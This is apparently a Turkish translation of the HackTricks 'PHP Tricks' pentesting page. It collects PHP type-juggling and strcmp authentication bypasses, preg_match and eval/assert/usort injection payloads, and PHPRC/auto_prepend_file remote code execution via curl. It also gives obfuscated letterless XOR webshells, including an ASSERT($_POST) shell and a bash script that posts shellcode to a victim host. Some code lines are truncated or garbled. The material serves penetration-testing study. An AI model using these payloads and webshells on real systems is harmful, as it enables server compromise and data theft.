hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp
2024-04-06 19:40:41 +00:00
..
php-useful-functions-disable_functions-open_basedir-bypass GitBook: No commit message 2024-04-06 19:40:41 +00:00
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md Translated to Turkish 2024-02-10 18:14:16 +00:00
php-ssrf.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:57 +00:00
README.md Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ 2024-03-15 22:17:12 +00:00

PHP İpuçları

Sıfırdan kahramana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Çerezlerin yaygın konumu:

Bu, phpMyAdmin çerezleri için de geçerlidir.

Çerezler:

PHPSESSID
phpMyAdmin

Konumlar:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

PHP Karşılaştırmalarını Atlatma

Gevşek Karşılaştırmalar/Tür Dönüşümü ( == )

Eğer PHP'de == kullanılıyorsa, karşılaştırmanın beklenildiği gibi davranmadığı beklenmedik durumlar olabilir. Bu, "==" sadece aynı türe dönüştürülen değerleri karşılaştırır, eğer karşılaştırılan verinin türünün de aynı olduğunu karşılaştırmak istiyorsanız === kullanmanız gerekir.

PHP karşılaştırma tabloları: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Bir sayı ile başlamayan bir dize bir sayıya eşittir
  • "0xAAAA" == "43690" -> True Onaltılık veya ondalık biçimdeki sayılardan oluşan dizeler, aynı sayılar/dizilerle karşılaştırılabilir ve sonuç olarak True döner (bir dizideki sayılar sayı olarak yorumlanır)
  • "0e3264578" == 0 --> True "0e" ile başlayan ve herhangi bir şeyi takip eden bir dize 0'a eşittir
  • "0X3264578" == 0X --> True "0" ile başlayan ve herhangi bir harfi (X herhangi bir harf olabilir) ve herhangi bir şeyi takip eden bir dize 0'a eşittir
  • "0e12334" == "0" --> True Bu çok ilginç çünkü bazı durumlarda "0" ile başlayan ve karşılaştırılan içeriğin hashlenmiş olduğu bir dize girdisi kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta zaten hashlenmiş dizeleri burada bulabilirsiniz: https://github.com/spaze/hashes
  • "X" == 0 --> True Bir dizideki herhangi bir harf int 0'a eşittir

Daha fazla bilgi için https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tür Dönüşümü, varsayılan olarak in_array() işlevini de etkiler (katı bir karşılaştırma yapmak için üçüncü argümanı true olarak ayarlamanız gerekir):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Eğer bu fonksiyon herhangi bir kimlik doğrulama kontrolü için kullanılıyorsa (örneğin şifre kontrolü) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (https://example.com/login.php/?username=admin&password[]=) ve bu kontrolü atlayabilir:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Katı tür Jonglajı

strcasecmp() ile aynı hata meydana gelir

=== kullanılsa bile, karşılaştırma tür jonglajına karşı savunmasız olabilir. Örneğin, karşılaştırma veriyi karşılaştırmadan önce farklı bir nesne türüne dönüştürüyorsa:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() kullanıcı girişini doğrulamak için kullanılabilir (herhangi bir kelime/regex'in kara listesinde olup olmadığını kontrol eder ve değilse, kodun işlemini sürdürebilir).

Yeni satır atlatma

Ancak, regexp'in başlangıcını sınırlarken preg_match() sadece kullanıcı girişinin ilk satırını kontrol eder, sonra eğer bir şekilde girişi birkaç satırda gönderebilirseniz, bu kontrolü atlayabilirsiniz. Örnek:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Bu kontrolü atlamak için değeri yeni satırlarla urlencoded (%0A) gönderebilirsiniz veya JSON verisi gönderebiliyorsanız, bunu birkaç satırda gönderin:

{
"cmd": "cat /etc/passwd"
}

Örnek bulunabilir burada: https://ramadistra.dev/fbctf-2019-rceservice

Uzunluk hatası atlatma

(Bu atlatma, görünüşe göre PHP 5.2.5'te denenmiş ve PHP 7.3.15'te çalıştıramadım)
Eğer preg_match()'e geçerli çok büyük bir giriş gönderebilirseniz, işleyemez ve kontrolü atlayabilirsiniz. Örneğin, eğer bir JSON'u karalisteleyen bir şeyse gönderebilirsiniz:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS Atlatma

Hile kaynağı: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

Kısacası, sorun, PHP'deki preg_* fonksiyonlarının PCRE kütüphanesi üzerine kurulması nedeniyle oluşur. PCRE'de belirli düzenli ifadeler, çok sayıda özyineli çağrı kullanarak eşleştirilir, bu da çok miktarda yığın alanı tüketir. Özyineli çağrılara izin verilen miktar üzerinde bir sınır belirlemek mümkündür, ancak PHP'de bu sınır varsayılan olarak 100.000'dir ve yığın alanına sığmaktan daha fazladır.

Bu sorun hakkında daha detaylı konuşulan yazıda Bu Stackoverflow konu başlığı da paylaşılmıştır. Görevimiz şimdi açıktı:
Regex'in 100.000'den fazla özyineli çağrı yapmasını sağlayacak bir giriş göndermek, SIGSEGV'ye neden olacak, preg_match() fonksiyonunu false döndürerek uygulamanın girişimizin kötü niyetli olmadığını düşünmesini sağlayacak ve payload'ın sonunda {system(<çokkötükod>)} gibi bir sürpriz atarak SSTI --> RCE --> bayrak :).

Evet, regex terimleri açısından, aslında 100k "özyineli çağrı" yapmıyoruz, ancak "geri izleme adımlarını" sayıyoruz, ki bu da PHP belgelerinde belirtildiği gibi pcre.backtrack_limit değişkeninde varsayılan olarak 1.000.000 (1M) olur.
Buna ulaşmak için, 'X'*500_001 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

PHP obfuscation için Tür Tipi Düzenlemesi

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Yönlendirmeden Sonra Yürüt (EAR)

Eğer PHP başka bir sayfaya yönlendiriyorsa ancak die veya exit fonksiyonu Location başlığı ayarlandıktan sonra çağrılmamışsa, PHP yürütmeye devam eder ve verileri gövdeye ekler:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Yol Traversal ve Dosya Dahil Etme Sömürüsü

Kontrol et:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Daha fazla hile

  • register_globals: PHP < 4.1.1.1 sürümlerinde veya yanlış yapılandırılmışsa, register_globals etkin olabilir (veya davranışları taklit ediliyor olabilir). Bu, $_GET gibi global değişkenlerde bir değer varsa örneğin $_GET["param"]="1234", bu değere $param üzerinden erişebilirsiniz. Bu nedenle, HTTP parametreleri göndererek kod içinde kullanılan değişkenleri üzerine yazabilirsiniz.
  • Aynı alanın PHPSESSION çerezleri aynı yerde saklanır, bu nedenle bir alan içinde farklı yollarda farklı çerezler kullanılıyorsa, bir yolun diğer yolun çerezine erişmesini sağlayabilirsiniz. Böylece her iki yol da aynı isimde bir değişkene erişirse, bu değişkenin değerini yol1'deki değişkenin değeri olarak uygulayabilirsiniz. Ve ardından yol2, yol1'in değişkenlerini geçerli kabul eder (çerezin adını yol2'de karşılık gelen adla vererek).
  • Makinenin kullanıcı adlarını aldığınızda. PHP dizinlerinin etkin olup olmadığını kontrol etmek için /~<KULLANICIADİ> adresine bakın.
  • Php sargıları kullanarak LFI ve RCE

password_hash/password_verify

Bu fonksiyonlar genellikle PHP'de şifrelerden hash'ler oluşturmak ve bir şifrenin bir hash ile karşılaştırıldığında doğru olup olmadığını kontrol etmek için kullanılır. Desteklenen algoritmalar: PASSWORD_DEFAULT ve PASSWORD_BCRYPT (başlangıcı $2y$). PASSWORD_DEFAULT'ın genellikle PASSWORD_BCRYPT ile aynı olduğunu unutmayın. Ve şu anda, PASSWORD_BCRYPT'ın 72 bayt giriş boyutunda bir sınırlaması vardır. Bu nedenle, bu algoritmayla 72 bayttan büyük bir şeyi hashlemeye çalıştığınızda sadece ilk 72B kullanılacaktır:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP başlıkları atlatarak PHP hatalarını suiistimal etme

Eğer bir PHP sayfası hataları yazdırıyor ve kullanıcı tarafından sağlanan bazı girdileri geri döndürüyorsa, kullanıcı PHP sunucusunun geri bazı içerikleri yeterince uzun yazdırmasını sağlayabilir, böylece yanıt içine başlıkları eklemeye çalıştığında sunucu hata verecektir.
Aşağıdaki senaryoda saldırgan sunucunun büyük hatalar vermesini sağladı, ve ekran görüntüsünde görebileceğiniz gibi PHP başlık bilgilerini değiştirmeye çalıştığında (örneğin CSP başlığı kullanıcıya gönderilmedi):

Kod yürütme

system("ls");
`ls`;
shell_exec("ls");

Daha fazla faydalı PHP fonksiyonu için buraya bakın

preg_replace() aracılığıyla RCE

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

"replace" argümanındaki kodu yürütmek için en az bir eşleşme gereklidir. Bu preg_replace seçeneği PHP 5.5.0'den itibaren kullanımdan kaldırılmıştır.

Eval() Aracılığıyla Uzaktan Kod Çalıştırma (RCE)

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Assert() ile RCE

Bu php içindeki fonksiyon, bir dize içinde yazılmış kodu çalıştırmanıza olanak tanır ve buna bağlı olarak true veya false döndürür (ve buna bağlı olarak yürütümü değiştirir). Genellikle kullanıcı değişkeni bir dizenin ortasına yerleştirilir. Örneğin:
assert("strpos($_GET['page']),'..') === false") --> Bu durumda RCE elde etmek için şunu yapabilirsiniz:

?page=a','NeVeR') === false and system('ls') and strpos('a

Kodu kırmanız, sözdizimini eklemeniz ve ardından tekrar düzeltmeniz gerekecek. "Ve" veya "%26%26" veya "|" gibi mantıksal işlemleri kullanabilirsiniz. İlk koşul doğruysa yükümüz çalışmayacağından "veya", "||" çalışmaz. Aynı şekilde ";" yükümüz çalışmayacağından çalışmaz.

Diğer seçenek, komutun yürütülmesini dizeye eklemektir: '.highlight_file('.passwd').'

Diğer seçenek (iç kodunuz varsa) yürütümü değiştirmek için bazı değişkenleri değiştirmektir: $file = "hola"

RCE aracılığıyla usort()

Bu işlev, belirli bir işlevi kullanarak öğelerin bir dizisini sıralamak için kullanılır.
Bu işlevi kötüye kullanmak için:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Yorum Satırı Kullanma

Kodun geri kalanını yorum satırı kullanarak // işaretini de kullanabilirsiniz.

Kapatmanız gereken parantez sayısını keşfetmek için:

  • ?order=id;}//: Bir hata mesajı alırız (Parse error: syntax error, unexpected ';'). Muhtemelen bir veya daha fazla parantezi eksikiz.
  • ?order=id);}//: Bir uyarı alırız. Bu doğru gibi görünüyor.
  • ?order=id));}//: Bir hata mesajı alırız (Parse error: syntax error, unexpected ')' i). Muhtemelen fazla kapanış parantezimiz var.

.httaccess Üzerinden RCE

Eğer bir .htaccess dosyası yükleyebilirseniz, birçok şeyi yapılandırabilir ve hatta kodu çalıştırabilirsiniz (bu dosyaların çalıştırılabilir olduğunu yapılandırabilirsiniz).

Farklı .htaccess kabuklarına buradan ulaşabilirsiniz.

Env Değişkenleri Üzerinden RCE

Eğer PHP'de env değişkenlerini değiştirmenize izin veren bir zayıflık bulursanız (ve başka bir dosya yükleme zayıflığı da varsa, ancak daha fazla araştırma ile bunun atlatılabileceği belki), bu davranışı RCE elde etmek için kötüye kullanabilirsiniz.

  • LD_PRELOAD: Bu env değişkeni, diğer ikili dosyaları çalıştırırken keyfi kütüphaneleri yüklemenize izin verir (ancak bu durumda işe yaramayabilir).
  • PHPRC : PHP'ye yapılandırma dosyasını nerede bulacağını söyler, genellikle php.ini olarak adlandırılır. Kendi yapılandırma dosyanızı yükleyebiliyorsanız, o zaman PHP'yi ona işaret etmek için PHPRC'yi kullanın. İkinci yüklenen dosyayı belirten bir auto_prepend_file girdisi ekleyin. Bu ikinci dosya, normal PHP kodunu içerir ve ardından PHP çalışma zamanı tarafından diğer kodlardan önce yürütülür.
  1. Shell kodumuzu içeren bir PHP dosyası yükleyin
  2. İkinci bir dosya yükleyin, adımla yüklediğimiz dosyayı yürütmek için PHP ön işleyicisine talimat veren bir auto_prepend_file yönergesi içerir
  3. PHPRC değişkenini adım 2'de yüklediğimiz dosyaya ayarlayın.
  • Bu zinciri nasıl yürüteceğiniz hakkında daha fazla bilgi için orijinal rapordan bilgi edinin.
  • PHPRC - başka bir seçenek
  • Eğer dosya yükleyemiyorsanız, FreeBSD'de "file" /dev/fd/0'ı kullanabilirsiniz, bu stdin içeren bir stdin'e gönderilen isteğin gövdesi'dir:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Veya RCE elde etmek için allow_url_include'ı etkinleştirin ve base64 PHP kodu ile bir dosyayı ön ekleyin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Teknik bu rapordan alınmıştır.

PHP Statik Analiz

Bu fonksiyonlara çağrılarda kod ekleyip ekleyemediğinizi kontrol edin (buradan).

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Eğer bir PHP uygulamasını hata ayıklıyorsanız, /etc/php5/apache2/php.ini dosyasına display_errors = On ekleyerek hata yazdırmayı global olarak etkinleştirebilir ve apache'yi yeniden başlatabilirsiniz: sudo systemctl restart apache2

PHP Kodunu Deobfuscating

PHP kodunu deobfuscate etmek için web www.unphp.net kullanabilirsiniz.

PHP Wrappers & Protocols

PHP Wrappers ve protokolleri, bir sistemin yazma ve okuma korumalarını atlaymanıza ve onu tehlikeye atmanıza olanak tanıyabilir. Daha fazla bilgi için bu sayfaya bakın.

Xdebug kimlik doğrulamasız RCE

Bir phpconfig() çıktısında Xdebug'in etkin olduğunu görürseniz, https://github.com/nqxcode/xdebug-exploit üzerinden RCE almaya çalışmalısınız.

Değişken değişkenleri

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

Yeni $_GET["a"]($_GET["b"]) kötüye kullanarak RCE

Eğer bir sayfada keyfi bir sınıfın yeni bir nesnesini oluşturabiliyorsanız, RCE elde edebilirsiniz, nasıl yapılacağını öğrenmek için aşağıdaki sayfayı kontrol edin:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Harfler olmadan PHP çalıştırma

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Sekizliği kullanarak

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR (Exclusive OR) işlemi, iki bitin değerlerini karşılaştırır ve sadece biri 1 ise sonuç 1 olur. Bu işlem, veri şifreleme ve karşılaştırma işlemlerinde sıkça kullanılır.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR basit kabuk kodu

Bu yazıda belirtildiğine göre, aşağıdaki şekilde basit bir kabuk kodu oluşturmak mümkündür:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Yani, eğer sayı ve harf olmadan keyfi PHP kodu çalıştırabiliyorsanız, aşağıdaki gibi bir istek gönderebilir ve keyfi PHP kodunu çalıştırmak için bu yükü kötüye kullanabilirsiniz:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Daha detaylı bir açıklama için https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (eval içinde)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl gibi

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: